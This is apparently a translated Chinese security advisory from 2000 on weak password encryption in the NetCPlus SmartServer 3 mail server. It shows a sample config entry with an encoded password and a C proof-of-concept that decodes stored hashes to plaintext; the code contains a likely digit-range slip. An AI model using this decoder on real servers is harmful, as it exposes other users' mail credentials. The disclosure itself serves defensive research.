首页 -> 安全研究

安全研究

安全漏洞
SmartServer 3 弱口令加密机制缺陷

发布日期:2000-11-20
更新日期:2000-11-20

受影响系统:

    Smart Server 3 by NetCPlus 3.75 (others?)
       - Windows NT/2000/9x

描述:

SmartServer3 (SS3)是NetCPlus提供的小型商业Email服务器,缺省安装在
C:\Program Files\smartserver3\目录下,配置文件dialsrv.ini保存在这里。所有
本机授权用户均可读写这个配置文件,而其中保存着每个用户的关键信息,包括弱加
密后的口令。比如用户Carl的入口如下:

[USER1]
realname=Carl Jones
id=Carl
dir=CARL
pw=~:kC@nD3~:
extml=0
alertport=
alert=
UserActive=1
MailLimit=0
MailMAxWarn=0
MailMaxSize=20

这里的口令加密机制太简单了,加密口令仅仅依赖于口令明文和POP3帐号的第一个字
符,而后者可以通过"dir=CARL"得到。

测试程序可以获得长度不超过8的口令明文。如果口令长度超过8,只需要分两次执行
测试程序即可,比如现在口令密文是12345678abcdefgh,第一次采用12345678和C执
行测试程序,第二次采用abcdefgh和C执行测试程序。

这个加密机制还有其他一些奇特的性质。口令明文中某个字符如果和POP3帐号的第一
个字符相同,针对该字符将固定采用一种加密算法,举个例子,用户BOB的口令明文
是Book,用户CARL的口令明文是Catfish,则他们口令密文的第一个字符是一样的,
具体参看测试程序。

管理员可以合法查看到SS3中任意用户的口令明文,只需要登录到SS3控制台,编辑用
户属性,去掉"隐藏口令"复选框即可。

<* 来源:Steven Alexander (steve@cell2000.net) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

参看漏洞描述

--------------------------------------------------------------------------
#include <stdio.h>

#define DIGIT 0
#define UPPER 1
#define LOWER 2
#define DEFAULT 3

void main() {
unsigned char start_table[4][8] = {
{ 0x30, 0x4a, 0x7b, 0x53, 0x50, 0x7e, 0x54, 0x43 },
{ 0x41, 0x5b, 0x2e, 0x64, 0x61, 0x31, 0x65, 0x54 },
{ 0x60, 0x7a, 0x4d, 0x25, 0x22, 0x50, 0x26, 0x73 },
{ 0x7e, 0x3a, 0x6b, 0x43, 0x40, 0x6e, 0x44, 0x33} };

unsigned char uname = 0x46;  /* Just the first character from DIR= entry */
unsigned char hash[8] = { 'E', '1', 'U', '0', 't', 'b', '*', '&' } ;
unsigned char pass[8];
unsigned char i;
unsigned char range;

if(uname >= 0x30 && uname <=39) {
  for(i=0;i<=7;i++) {
   hash[i]+=1; }
  }

for(i=0;i<8;i++) {
  if(hash[i] == start_table[DEFAULT][i]) {
    pass[i] = uname;
    continue; }

  range=LOWER;  /* hash values wrap to  0x21 after 0x7e */
  if(hash[i] >= start_table[DIGIT][i] && hash[i] <= (start_table[DIGIT][i] + 0x0a))
    range = DIGIT;
  if(hash[i] >= start_table[UPPER][i] && hash[i] <= (start_table[UPPER][i] + 0x1a))
    range=UPPER;
  if(hash[i] >= start_table[LOWER][i] && hash[i] <= (start_table[LOWER][i] + 0x1a))
    range=LOWER;

  if(range==DIGIT) {
    if(i==2 || i==5) {
      if(hash[i] < 0x73) {
        hash[i] = hash[i] + 0x5e; } }
  pass[i] = ( hash[i] - start_table[DIGIT][i] ) + 0x30; }

  if(range==UPPER) {
    pass[i] = ( hash[i] - start_table[UPPER][i] ) + 0x41;
if(pass[i] >= uname)
   pass[i]+=1; }

  if(range==LOWER) {
    if(i==1 || i ==7) {
      if(hash[i] < 0x73) {
        hash[i] = hash[i] + 0x5e; } }
  pass[i] = ( hash[i] - start_table[LOWER][i] ) + 0x61; }

}

printf("The password is:\n\t");
for(i=0;i<8;i++) {
  printf("%c ", pass[i]);
}
printf("\n");

}
--------------------------------------------------------------------------

建议:

    暂无


浏览次数:5532
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障